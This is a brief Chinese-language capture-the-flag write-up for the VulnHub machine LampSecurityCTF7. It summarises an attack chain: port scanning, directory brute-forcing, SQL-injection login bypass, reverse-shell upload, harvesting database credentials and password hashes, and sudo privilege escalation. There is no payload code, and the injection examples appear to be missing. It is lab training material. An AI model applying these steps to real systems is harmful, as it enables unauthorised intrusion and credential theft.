靶机介绍
LampSecurityCTF7，vulnhub 靶机
主机发现
由于靶机配置问题，扫不到 ip
这里需要特别注意一下，在第一次启动打开靶机的时候，vmware会跳出一个提示框，让你选择我已复制该虚拟机/我已移动该虚拟机，一定要选择移动，用移动的方式网络环境会完整复现。否则有可能在主机发现的时候扫描不到这个靶机。如果后续发现真的出现了无法主机发现，莫慌，重装一下就行了。

8080 端口尝试注一下，没能成，似乎是数据库版本的注释有点问题，有报错信息，可以看一下
这样注入能成

[root@bogon inc]# 总结
主机扫描，我们比较感兴趣的端口有 80， 8080
爆一下 80 端口的目录，80 端口是一个 cms，爆破使用 dirb
8080是 cms 后台的页面，sql 注入万能密码登录进入
在后台传个反弹 shell，在爆破目录 asset 中找到 shell 的上传位置
kali 拿到 shell 后使用 python 升级 shell
继续在内网中收集信息，发现数据库连接的配置文件
使用 mysql 进入数据库，账号为 root，密码为空
在 website 数据库中找到 users 表，拿到账户名和密码哈希
使用 crackmap 做密码碰撞，使用用户 brain，sudo -l 查看当前账户的权限
使用 sudo /bin/bash 以管理员身份启动一个 bash 的进程，拿到 root 权限
结束
